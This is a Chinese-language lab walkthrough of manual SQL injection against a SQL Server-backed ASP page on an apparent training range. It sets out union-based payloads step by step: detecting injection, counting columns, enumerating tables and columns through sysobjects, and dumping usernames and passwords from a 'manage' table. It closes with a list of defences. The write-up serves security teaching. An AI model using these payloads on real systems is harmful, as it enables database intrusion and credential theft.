SQL手工注入漏洞测试(Sql Server数据库)

SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

首先让我们了解什么时候可能发生SQL Injection。

假设我们在浏览器中输入URL www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入 www.sample.com?testid=23 时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以该URL中嵌入恶意SQL语句。

常见的SQL注入类型包括:数字型和字符型。也有人把类型分得更多、更细。但不管注入类型如何,攻击者目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或更大的权限。

靶场初始界面:
SQL手工注入漏洞测试(Sql Server数据库)_第1张图片

1. 判断注入

根据URL猜测SQL语句为

select * from table where id =2

id=1,id=0,id=-1 页面异常
id=2 and 1=1 页面正常
id=2 and 1=2 页面异常

存在注入

2.判断字段数

http://219.153.49.228:47590/new_list.asp?id=2 order by 1——正常
http://219.153.49.228:47590/new_list.asp?id=2 order by 2——正常
http://219.153.49.228:47590/new_list.asp?id=2 order by 3——异常
http://219.153.49.228:47590/new_list.asp?id=2 order by 4——正常
http://219.153.49.228:47590/new_list.asp?id=2 order by 5——异常

order by(http://www.w3school.com.cn/sql/sql_orderby.asp)

3.联合查询

union select null,null,null,null——异常

union all select null,null,null,null——正常

也可以用union all select 1,2,3,4,不过该语句容易出现类型不兼容的异常,并且sqlsever注入用null,不用数字填充;

注:union和union all的区别(https://jingyan.baidu.com/article/2d5afd69e8dfd285a3e28e66.html)

SQL手工注入漏洞测试(Sql Server数据库)_第2张图片

4.找出显错点

SQL手工注入漏洞测试(Sql Server数据库)_第3张图片

5.猜库名

用db_name()函数查询数据库,括号里的值可以是0、1、2、3…,库名随着值的变化而变化
SQL手工注入漏洞测试(Sql Server数据库)_第4张图片

6.猜表名

http://219.153.49.228:47590/new_list.asp?id=1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null

//xtype='u' :查看用户表

结果:表manage
查看有没别的表

http://219.153.49.228:44082/new_list.asp?id=1

union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',null

结果:announcement

继续查看表

id=1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',null

结果空,说明没有别的了。

7.找列名

id=1 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

得出:id

id=1 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

得出:username

id=1 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

得出:password

id=1 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

得出:空

说明mange表总共有3列,分别为:id、username、password

爆破:

http://219.153.49.228:47590/new_list.asp?id=1

union all select null,username, password ,null from manage

SQL手工注入漏洞测试(Sql Server数据库)_第5张图片
如何防止SQL注入

归纳一下,主要有以下几点:

1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。

2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。

你可能感兴趣的:(SQL手工注入漏洞测试(Sql Server数据库))